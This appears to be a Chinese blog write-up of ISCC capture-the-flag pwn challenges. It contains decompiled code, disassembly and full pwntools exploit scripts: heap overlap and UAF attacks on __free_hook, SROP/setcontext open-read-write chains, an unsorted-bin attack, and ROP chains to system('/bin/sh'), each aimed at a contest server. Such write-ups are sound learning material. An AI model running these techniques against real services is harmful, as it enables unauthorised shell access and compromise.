v9 = read(0, buf, 0x80uLL);
v8 = (char *)s + v9; // 堆地址加串长度
puts("You may need some reference materials");
printf("%lud", v8);
*v8 = (int)get_int(); // 把top改最大，将块建到覆盖bsf
if ( strlen(buf) > 1 )
{
puts("Can't go forward so much!");
exit(0);
}
size = (int)get_int();
v6 = (char *)malloc(size);
memset(&v6[size - 24], 65, 0x20uLL);
v5 = malloc(0x30uLL); // bsf
puts("Answer time is close to over");
read(0, v5, 0x10uLL);
if ( bsf[15] != 97 )
{
puts("Find out where you wrote the answer");
exit(0);
}
func_111001();
return 0;
}
ssize_t func_111001()
{
char buf[124]; // [rsp+0h] [rbp-80h] BYREF
int v2; // [rsp+7Ch] [rbp-4h]
puts("Think about whether this is very basic");
memset(buf, 0, 0x70uLL);
qmemcpy(&buf[0x6E], "ba", 2);
puts("Direct to destination");
v2 = read(0, buf, 0x100uLL);
memcpy(bsf, buf, 0x100uLL);
write(1, "you pass", 8uLL);
return write(1, bsf, v2);
}from pwn import *
#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')
elf = ELF('./p7')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, 'b*0x400925\nc')
pop_rdi = 0x0000000000400bd3 # pop rdi ; ret
p.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")
p.sendline(str(0xffffff51).encode()) #top_chunk
#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))
p.sendline(b'cat flag*')
p.interactive()
#ISCC{U2FsdGVkX19Io8JTHM+Mj6kUIhroT9rT+ulCmVCGfKASDrdaVF3VTZCyaAAigumO4fSbo0Jhv+Ike83kf1PGmw==}
这题一开始给了这个巨长加密的flag，一直没人猜对，rabbit加密不给密钥的话真没着。后来赛放换了flag，但一直没找着这里跟第三有啥关系。
第三裹束(未完成)
这是个盲pwn题,没有提示还报错,通过提示得到第一个提示在第一用笔目录下,得到部分汇编代码.里边有句话可能 是第二个:函数名,不过这后门比比赛关得还早,也没法试了.函数名没几个.
得到的部分
After the previous study, have you found the treasure in the book?
If you tell me Treasure 1, I will give you some clues. If you tell me Treasure 2, I will give you a chance of ultimate challenge.
So what do you want to say to me now:
[Enter no more than 12 characters]
anyagougedi
*********************************
char *stroke[4],length[4],thickness[4];
int cnt_1 = 0,cnt_2 = 0,cnt_3 = 0;
int how_to_do()
0x0000000000400886 <+0>: push rbp
0x0000000000400887 <+1>: mov rbp,rsp
0x000000000040088a <+4>: sub rsp,0x20
0x000000000040088e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400897 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040089b <+21>: xor eax,eax
0x000000000040089d <+23>: lea rax,[rbp-0x20]
0x00000000004008a1 <+27>: mov edx,0xf
0x00000000004008a6 <+32>: mov rsi,rax
0x00000000004008a9 <+35>: mov edi,0x0
0x00000000004008ae <+40>: call 0x400710 <read@plt>
0x00000000004008b3 <+45>: lea rax,[rbp-0x20]
0x00000000004008b7 <+49>: mov rdi,rax
0x00000000004008ba <+52>: call 0x400760 <atoi@plt>
0x00000000004008bf <+57>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004008c3 <+61>: xor rcx,QWORD PTR fs:0x28
0x00000000004008cc <+70>: je 0x4008d3 <how_to_do+77>
0x00000000004008ce <+72>: call 0x4006e0 <__stack_chk_fail@plt>
0x00000000004008d3 <+77>: leave
0x00000000004008d4 <+78>: ret
ssize_t get_content(void *a1, unsigned int a2)
0x00000000004008d5 <+0>: push rbp
0x00000000004008d6 <+1>: mov rbp,rsp
0x00000000004008d9 <+4>: sub rsp,0x20
0x00000000004008dd <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00000000004008e1 <+12>: mov DWORD PTR [rbp-0x1c],esi
0x00000000004008e4 <+15>: mov edx,DWORD PTR [rbp-0x1c]
0x00000000004008e7 <+18>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004008eb <+22>: mov rsi,rax
0x00000000004008ee <+25>: mov edi,0x0
0x00000000004008f3 <+30>: call 0x400710 <read@plt>
0x00000000004008f8 <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004008fc <+39>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400900 <+43>: test eax,eax
0x0000000000400902 <+45>: jg 0x400918 <get_content+67>
0x0000000000400904 <+47>: mov edi,0x4011d8
0x0000000000400909 <+52>: call 0x4006d0 <puts@plt>
0x000000000040090e <+57>: mov edi,0x1
0x0000000000400913 <+62>: call 0x400770 <exit@plt>
0x0000000000400918 <+67>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040091c <+71>: leave
0x000000000040091d <+72>: ret
void get_addr()
You can find the address you are interested in from this. If it is not necessary, we will not provide it. The content of the request should be a function name string, which should not exceed 15 characters!
int Shaping()
0x0000000000400a6e <+0>: push rbp
0x0000000000400a6f <+1>: mov rbp,rsp
0x0000000000400a72 <+4>: sub rsp,0x10
0x0000000000400a76 <+8>: mov eax,0x0
0x0000000000400a7b <+13>: call 0x400886 <how_to_do>
0x0000000000400a80 <+18>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400a83 <+21>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400a86 <+24>: cdqe
0x0000000000400a88 <+26>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400a90 <+34>: test rax,rax
0x0000000000400a93 <+37>: jne 0x400aa1 <Shaping+51>
0x0000000000400a95 <+39>: mov edi,0x401324
0x0000000000400a9a <+44>: call 0x4006d0 <puts@plt>
0x0000000000400a9f <+49>: jmp 0x400ae4 <Shaping+118>
0x0000000000400aa1 <+51>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400aa4 <+54>: cdqe
0x0000000000400aa6 <+56>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400aae <+64>: mov rsi,rax
0x0000000000400ab1 <+67>: mov edi,0x401339
0x0000000000400ab6 <+72>: mov eax,0x0
0x0000000000400abb <+77>: call 0x4006f0 <printf@plt>
0x0000000000400ac0 <+82>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400ac3 <+85>: cdqe
0x0000000000400ac5 <+87>: mov rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400acd <+95>: mov rsi,rax
0x0000000000400ad0 <+98>: mov edi,0x40134e
0x0000000000400ad5 <+103>: mov eax,0x0
0x0000000000400ada <+108>: call 0x4006f0 <printf@plt>
0x0000000000400adf <+113>: mov eax,0x0
0x0000000000400ae4 <+118>: leave
0x0000000000400ae5 <+119>: ret
int repair()
0x0000000000400ae6 <+0>: push rbp
0x0000000000400ae7 <+1>: mov rbp,rsp
0x0000000000400aea <+4>: push rbx
0x0000000000400aeb <+5>: sub rsp,0x18
0x0000000000400aef <+9>: mov eax,0x0
0x0000000000400af4 <+14>: call 0x400886 <how_to_do>
0x0000000000400af9 <+19>: mov DWORD PTR [rbp-0x14],eax
0x0000000000400afc <+22>: mov eax,DWORD PTR [rip+0x2025ae] # 0x6030b0 <cnt_2>
0x0000000000400b02 <+28>: cmp eax,0x2
0x0000000000400b05 <+31>: jle 0x400b16 <repair+48>
0x0000000000400b07 <+33>: mov edi,0x401364
0x0000000000400b0c <+38>: call 0x4006d0 <puts@plt>
0x0000000000400b11 <+43>: jmp 0x400bcd <repair+231>
0x0000000000400b16 <+48>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b19 <+51>: cdqe
0x0000000000400b1b <+53>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400b23 <+61>: test rax,rax
0x0000000000400b26 <+64>: jne 0x400b37 <repair+81>
0x0000000000400b28 <+66>: mov edi,0x401379
0x0000000000400b2d <+71>: call 0x4006d0 <puts@plt>
0x0000000000400b32 <+76>: jmp 0x400bcd <repair+231>
0x0000000000400b37 <+81>: mov edi,0x401390
0x0000000000400b3c <+86>: mov eax,0x0
0x0000000000400b41 <+91>: call 0x4006f0 <printf@plt>
0x0000000000400b46 <+96>: mov eax,0x0
0x0000000000400b4b <+101>: call 0x400886 <how_to_do>
0x0000000000400b50 <+106>: mov DWORD PTR [rbp-0x18],eax
0x0000000000400b53 <+109>: cmp DWORD PTR [rbp-0x18],0x1000
0x0000000000400b5a <+116>: jbe 0x400b63 <repair+125>
0x0000000000400b5c <+118>: mov DWORD PTR [rbp-0x18],0x1000
0x0000000000400b63 <+125>: mov edi,0x4013af
0x0000000000400b68 <+130>: mov eax,0x0
0x0000000000400b6d <+135>: call 0x4006f0 <printf@plt>
0x0000000000400b72 <+140>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b75 <+143>: cdqe
0x0000000000400b77 <+145>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400b7f <+153>: mov edx,DWORD PTR [rbp-0x18]
0x0000000000400b82 <+156>: mov esi,edx
0x0000000000400b84 <+158>: mov rdi,rax
0x0000000000400b87 <+161>: call 0x4008d5 <get_content>
0x0000000000400b8c <+166>: mov edi,0x4013be
0x0000000000400b91 <+171>: mov eax,0x0
0x0000000000400b96 <+176>: call 0x4006f0 <printf@plt>
0x0000000000400b9b <+181>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b9e <+184>: cdqe
0x0000000000400ba0 <+186>: mov rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400ba8 <+194>: mov eax,0x0
0x0000000000400bad <+199>: call 0x400886 <how_to_do>
0x0000000000400bb2 <+204>: mov BYTE PTR [rbx],al
0x0000000000400bb4 <+206>: mov eax,DWORD PTR [rip+0x2024f6] # 0x6030b0 <cnt_2>
0x0000000000400bba <+212>: add eax,0x1
0x0000000000400bbd <+215>: mov DWORD PTR [rip+0x2024ed],eax # 0x6030b0 <cnt_2>
0x0000000000400bc3 <+221>: mov edi,0x4013ce
0x0000000000400bc8 <+226>: call 0x4006d0 <puts@plt>
0x0000000000400bcd <+231>: add rsp,0x18
0x0000000000400bd1 <+235>: pop rbx
0x0000000000400bd2 <+236>: pop rbp
0x0000000000400bd3 <+237>: ret
int structure()
0x0000000000400bd4 <+0>: push rbp
0x0000000000400bd5 <+1>: mov rbp,rsp
0x0000000000400bd8 <+4>: push rbx
0x0000000000400bd9 <+5>: sub rsp,0x18
0x0000000000400bdd <+9>: mov eax,DWORD PTR [rip+0x2024c9] # 0x6030ac <cnt_1>
0x0000000000400be3 <+15>: mov esi,eax
0x0000000000400be5 <+17>: mov edi,0x4013f0
0x0000000000400bea <+22>: mov eax,0x0
0x0000000000400bef <+27>: call 0x4006f0 <printf@plt> #printf("%d", cnt_1)
0x0000000000400bf4 <+32>: mov eax,DWORD PTR [rip+0x2024b2] # 0x6030ac <cnt_1>
0x0000000000400bfa <+38>: cmp eax,0x3
0x0000000000400bfd <+41>: jle 0x400c13 <structure+63> #if(cnt_1>3)exit();
0x0000000000400bff <+43>: mov edi,0x401410
0x0000000000400c04 <+48>: call 0x4006d0 <puts@plt>
0x0000000000400c09 <+53>: mov edi,0x1
0x0000000000400c0e <+58>: call 0x400770 <exit@plt>
0x0000000000400c13 <+63>: mov ebx,DWORD PTR [rip+0x202493] # 0x6030ac <cnt_1>
0x0000000000400c19 <+69>: mov edi,0x10
0x0000000000400c1e <+74>: call 0x400740 <malloc@plt>
0x0000000000400c23 <+79>: mov rdx,rax
0x0000000000400c26 <+82>: movsxd rax,ebx
0x0000000000400c29 <+85>: mov QWORD PTR [rax*8+0x603100],rdx #m_ptr[cnt_1] = malloc(0x10)
0x0000000000400c31 <+93>: mov eax,DWORD PTR [rip+0x202475] # 0x6030ac <cnt_1>
0x0000000000400c37 <+99>: cdqe
0x0000000000400c39 <+101>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400c41 <+109>: mov QWORD PTR [rbp-0x18],rax
0x0000000000400c45 <+113>: mov edi,0x401448
0x0000000000400c4a <+118>: mov eax,0x0
0x0000000000400c4f <+123>: call 0x4006f0 <printf@plt> #printf("%p", m_ptr[cnt_1])
0x0000000000400c54 <+128>: mov eax,0x0
0x0000000000400c59 <+133>: call 0x400886 <how_to_do> #size = read_n()
0x0000000000400c5e <+138>: mov DWORD PTR [rbp-0x1c],eax
0x0000000000400c61 <+141>: cmp DWORD PTR [rbp-0x1c],0x1000
0x0000000000400c68 <+148>: jbe 0x400c71 <structure+157>
0x0000000000400c6a <+150>: mov DWORD PTR [rbp-0x1c],0x1000 #size = (size<0x1000)?0x1000:size
0x0000000000400c71 <+157>: mov ebx,DWORD PTR [rip+0x202435] # 0x6030ac <cnt_1>
0x0000000000400c77 <+163>: mov eax,DWORD PTR [rbp-0x1c]
0x0000000000400c7a <+166>: mov rdi,rax
0x0000000000400c7d <+169>: call 0x400740 <malloc@plt>
0x0000000000400c82 <+174>: mov rdx,rax
0x0000000000400c85 <+177>: movsxd rax,ebx
0x0000000000400c88 <+180>: mov QWORD PTR [rax*8+0x6030c0],rdx #ptr[cnt_1] = malloc(size)
0x0000000000400c90 <+188>: mov eax,DWORD PTR [rip+0x202416] # 0x6030ac <cnt_1>
0x0000000000400c96 <+194>: cdqe
0x0000000000400c98 <+196>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400ca0 <+204>: test rax,rax
0x0000000000400ca3 <+207>: jne 0x400cb9 <structure+229> #if(ptr[cnt_1]==0)exit();
0x0000000000400ca5 <+209>: mov edi,0x401468
0x0000000000400caa <+214>: call 0x4006d0 <puts@plt>
0x0000000000400caf <+219>: mov edi,0x1
0x0000000000400cb4 <+224>: call 0x400770 <exit@plt>
0x0000000000400cb9 <+229>: mov edi,0x40147f
0x0000000000400cbe <+234>: mov eax,0x0
0x0000000000400cc3 <+239>: call 0x4006f0 <printf@plt> #printf("%p", ptr[cnt_1])
0x0000000000400cc8 <+244>: mov eax,DWORD PTR [rip+0x2023de] # 0x6030ac <cnt_1>
0x0000000000400cce <+250>: cdqe
0x0000000000400cd0 <+252>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400cd8 <+260>: mov edx,DWORD PTR [rbp-0x1c]
0x0000000000400cdb <+263>: mov esi,edx
0x0000000000400cdd <+265>: mov rdi,rax
0x0000000000400ce0 <+268>: call 0x4008d5 <get_content> #get_content(ptr[cnt_1], size)
0x0000000000400ce5 <+273>: mov ebx,DWORD PTR [rip+0x2023c1] # 0x6030ac <cnt_1>
0x0000000000400ceb <+279>: mov esi,0x8
0x0000000000400cf0 <+284>: mov edi,0x1
0x0000000000400cf5 <+289>: call 0x400730 <calloc@plt>
0x0000000000400cfa <+294>: mov rdx,rax
0x0000000000400cfd <+297>: movsxd rax,ebx
0x0000000000400d00 <+300>: mov QWORD PTR [rax*8+0x6030e0],rdx #c_ptr[cnt_1] = calloc(1,8)
0x0000000000400d08 <+308>: mov edi,0x4014a0
0x0000000000400d0d <+313>: mov eax,0x0
0x0000000000400d12 <+318>: call 0x4006f0 <printf@plt>
0x0000000000400d17 <+323>: mov eax,DWORD PTR [rip+0x20238f] # 0x6030ac <cnt_1>
0x0000000000400d1d <+329>: cdqe
0x0000000000400d1f <+331>: mov rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d27 <+339>: mov eax,0x0
0x0000000000400d2c <+344>: call 0x400886 <how_to_do>
0x0000000000400d31 <+349>: mov BYTE PTR [rbx],al
0x0000000000400d33 <+351>: mov eax,DWORD PTR [rip+0x202373] # 0x6030ac <cnt_1>
0x0000000000400d39 <+357>: cdqe
0x0000000000400d3b <+359>: mov rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d43 <+367>: mov rdx,rax
0x0000000000400d46 <+370>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400d4a <+374>: mov QWORD PTR [rax],rdx
0x0000000000400d4d <+377>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400d51 <+381>: lea rdx,[rax+0x8]
0x0000000000400d55 <+385>: mov eax,DWORD PTR [rip+0x202351] # 0x6030ac <cnt_1>
0x0000000000400d5b <+391>: cdqe
0x0000000000400d5d <+393>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400d65 <+401>: mov QWORD PTR [rdx],rax
0x0000000000400d68 <+404>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000400d70 <+412>: mov eax,DWORD PTR [rip+0x202336] # 0x6030ac <cnt_1>
0x0000000000400d76 <+418>: add eax,0x1
0x0000000000400d79 <+421>: mov DWORD PTR [rip+0x20232d],eax # 0x6030ac <cnt_1>
0x0000000000400d7f <+427>: mov edi,0x4014bf
0x0000000000400d84 <+432>: call 0x4006d0 <puts@plt>
0x0000000000400d89 <+437>: add rsp,0x18
0x0000000000400d8d <+441>: pop rbx
0x0000000000400d8e <+442>: pop rbp
0x0000000000400d8f <+443>: ret
void main(int a1, char **a2, char **a3)
0x0000000000401099 <+0>: push rbp
0x000000000040109a <+1>: mov rbp,rsp
0x000000000040109d <+4>: sub rsp,0x30
0x00000000004010a1 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004010a4 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004010a8 <+15>: mov QWORD PTR [rbp-0x28],rdx
0x00000000004010ac <+19>: mov eax,0x0
0x00000000004010b1 <+24>: call 0x400d90 <init>
0x00000000004010b6 <+29>: mov eax,0x0
0x00000000004010bb <+34>: call 0x400ef7 <login>
0x00000000004010c0 <+39>: jmp 0x40111e <main+133>
0x00000000004010c2 <+41>: cmp DWORD PTR [rbp-0x4],0x1
0x00000000004010c6 <+45>: jne 0x4010d4 <main+59>
0x00000000004010c8 <+47>: mov eax,0x0
0x00000000004010cd <+52>: call 0x400bd4 <structure>
0x00000000004010d2 <+57>: jmp 0x40111e <main+133>
0x00000000004010d4 <+59>: cmp DWORD PTR [rbp-0x4],0x2
0x00000000004010d8 <+63>: jne 0x4010e6 <main+77>
0x00000000004010da <+65>: mov eax,0x0
0x00000000004010df <+70>: call 0x400a6e <Shaping>
0x00000000004010e4 <+75>: jmp 0x40111e <main+133>
0x00000000004010e6 <+77>: cmp DWORD PTR [rbp-0x4],0x3
0x00000000004010ea <+81>: jne 0x4010f8 <main+95>
0x00000000004010ec <+83>: mov eax,0x0
0x00000000004010f1 <+88>: call 0x400ae6 <repair>
0x00000000004010f6 <+93>: jmp 0x40111e <main+133>
0x00000000004010f8 <+95>: cmp DWORD PTR [rbp-0x4],0xf
0x00000000004010fc <+99>: jne 0x40110a <main+113>
0x00000000004010fe <+101>: mov eax,0x0
0x0000000000401103 <+106>: call 0x40091e <get_addr>
0x0000000000401108 <+111>: jmp 0x40111e <main+133>
0x000000000040110a <+113>: mov edi,0x402575
0x000000000040110f <+118>: call 0x4006d0 <puts@plt>
0x0000000000401114 <+123>: mov edi,0x402588
0x0000000000401119 <+128>: call 0x4006d0 <puts@plt>
0x000000000040111e <+133>: mov eax,0x0
0x0000000000401123 <+138>: call 0x400dff <action>
0x0000000000401128 <+143>: mov DWORD PTR [rbp-0x4],eax
0x000000000040112b <+146>: cmp DWORD PTR [rbp-0x4],0x4
0x000000000040112f <+150>: jne 0x4010c2 <main+41>
0x0000000000401131 <+152>: mov edi,0x4025a9
0x0000000000401136 <+157>: call 0x4006d0 <puts@plt>
0x000000000040113b <+162>: mov edi,0x0
0x0000000000401140 <+167>: call 0x400770 <exit@plt>
PS: from largebin to the libc we have walked 3953032
We hope you can finally see the file directory structure successfully
Now that you have found Treasure 1, Treasure 2 will not defeat you!
Please tell me again
Treasure 2 is wrong! Keep looking for the treasure
擂台题
babyheap
libc-2.31 ORW题也是板子题
有个UAF后门2023,
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
__int64 result; // rax
init_0();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
a1 = "plz input choice: ";
printf("plz input choice: ");
result = read_n();
if ( (_DWORD)result != 2023 )
break;
if ( !dword_4010 ) // 2023
exit(0);
m2023_free_UAF();
--dword_4010;
}
if ( (unsigned int)result > 0x7E7 )
break;
if ( (_DWORD)result == 3 )
{
m3free();
}
else
{
if ( (unsigned int)result > 3 )
return result;
if ( (_DWORD)result == 1 )
{
m1add(); // 固定0x40
}
else
{
if ( (_DWORD)result != 2 )
return result;
m2show();
}
}
}
return result;
}利用这个UAF造重叠块,最后一点点把payload写到free_hook,有块大小限制很麻烦.
from pwn import *
context(arch='amd64', log_level='error')
#p = process('./pwn')
p = remote('59.110.164.72', 10030)
libc = ELF('./libc.so.6')
menu = b"plz input choice: "
def add(msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"plz input content: ", msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free2(idx): # UAF
p.sendlineafter(menu, b'2023')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
for i in range(0x10):
add(b'A')
for i in [6,7,8,9,10,11,12,13,14,15]:
free(i)
free(5)
free2(0)
show(0)
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x190
print(f"{heap = :x}")
free(4)
free(0)
for i in [6,7,8,9,10,11,12]:
add(b'B')
add(p64(heap+0x50)+ p64(0)*6 + p64(0x51))
add(b'C')
add(b'C')
add(flat(0x101, 0x461))
free(1)
add(b'AAA')
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free_hook = libc.sym['__free_hook']
_environ = libc.sym['_environ']
setcontext = libc.sym['setcontext']
syscall = next(libc.search(asm("syscall; ret")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx; pop r12; ret")))
pop_rax = next(libc.search(asm("pop rax; ret")))
jmp_rsp = next(libc.search(asm("jmp rsp")))
#gadget
gadget_addr= libc.address + 0x0000000000151990
'''
.text:0000000000151990 48 8B 57 08 mov rdx, [rdi+8]
.text:0000000000151994 48 89 04 24 mov [rsp+0C8h+var_C8], rax
.text:0000000000151998 FF 52 20 call qword ptr [rdx+20h]
'''
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc.sym['read'],
pop_rdi,fake_frame_addr + 0x200,libc.sym['puts']
]
frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'/flag'.ljust(8, b'\x00'),0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))
#save payload to __free_hook
offset = 0
offset += 0x40
free(7)
free(1)
free(13)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(12)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(11)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(10)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(9)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(8)
free(7)
free(1)
add(flat(0,0x51, free_hook , heap-0xa50))
add(b'A')
add(payload[0: 0x40])
free(8)
context.log_level = 'debug'
p.recvline()
p.recvline()
p.recvline()
p.interactive()
#gdb.attach(p)
#pause()ezuheap
给了gift异或得到加载地址,然后show指针前溢出得到stdout的地址
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index:");
__isoc99_scanf("%d", &v1);
if ( v1 > 5 || !Nodes[v1] )
{
puts("Incorrect subscript :(");
_exit(0);
}
write(1, (const void *)Nodes[v1], (int)Nodes_len[v1]);
return __readfsqword(0x28u) ^ v2;
}然后就写free_hook
from pwn import *
#p = process('./uheap')
p = remote('59.110.164.72',10029)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')
elf = ELF('./uheap')
menu = b"choice:"
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendlineafter(b"len:", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index:", str(idx).encode())
p.send(msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendafter(b"Input your favorite sentence:", b'A'*0x30)
p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())
p.recvuntil(b"gift: ")
gift1 = int(p.recvline(),16)
p.recvuntil(b"gift: ")
gift2 = int(p.recvline(),16)
elf.address = (gift1^gift2) - 0x202090
print(f"{gift2 = :x},{elf.address = :x}")
#gdb.attach(p,'b*0x0000555555400e37\nc')
add(2, 0x80)
show(-11)
libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")
free(2)
edit(2, p64(libc.sym['__free_hook']))
add(1, 0x80)
#chk
edit(-11, flat(elf.address+0x202090))
edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))
#gdb.attach(p)
#pause()
add(3, 0x80)
edit(1, b'/bin/sh\x00')
edit(3, p64(libc.sym['system']))
free(1)
p.interactive()uheap
有UAF没有show有后门,后门只检查头为7f
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-120h] BYREF
int idx_1; // [rsp+100h] [rbp-20h]
int idx_0; // [rsp+104h] [rbp-1Ch]
void *ptr; // [rsp+108h] [rbp-18h]
int size; // [rsp+114h] [rbp-Ch]
int idx; // [rsp+118h] [rbp-8h]
int choice; // [rsp+11Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
choice = menu();
if ( choice == 5 )
break;
switch ( choice )
{
case 1:
idx = get_idx();
size = get_size();
ptr = malloc(size);
if ( !ptr )
die("malloc error");
ptrs[idx] = ptr;
break;
case 2:
idx_0 = get_idx();
free(ptrs[idx_0]);
break;
case 3:
puts("unimplemented yet");
break;
case 4:
puts("unimplemented yet");
idx_1 = get_idx();
printf("input content plz : ");
if ( read(0, ptrs[idx_1], 0x10uLL) < 0 )
die("read error");
break;
default:
puts("wrong choice");
break;
}
}
if ( magics[255] > 0x7F0000000000LL )
{
puts("input your key");
read(0, buf, 0x100uLL);
check_key(buf);
}
return 0;
}unsortbin attack是个很古老的东西了,也很少用,在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./heap')
p = remote('59.110.164.72', 10022)
menu = b' : '
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg)
add(0,0x88)
add(1,0x88)
free(0)
edit(0, flat(0, 0x6021c0+255*8 - 0x10))
add(2, 0x88)
p.sendlineafter(menu, b'5')
#gdb.attach(p, 'b*0x4009da\nc')
p.sendafter(b'key', p64(0x4009aa)*8)
p.interactive()好多巨古老的东西，刚练习的时候用的libc-2.23,2.27,还有不少32位的情况，早都忘了。居然还有个libc-2.27-i386 从没见过。那时候还有32位的系统吗？
5642
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
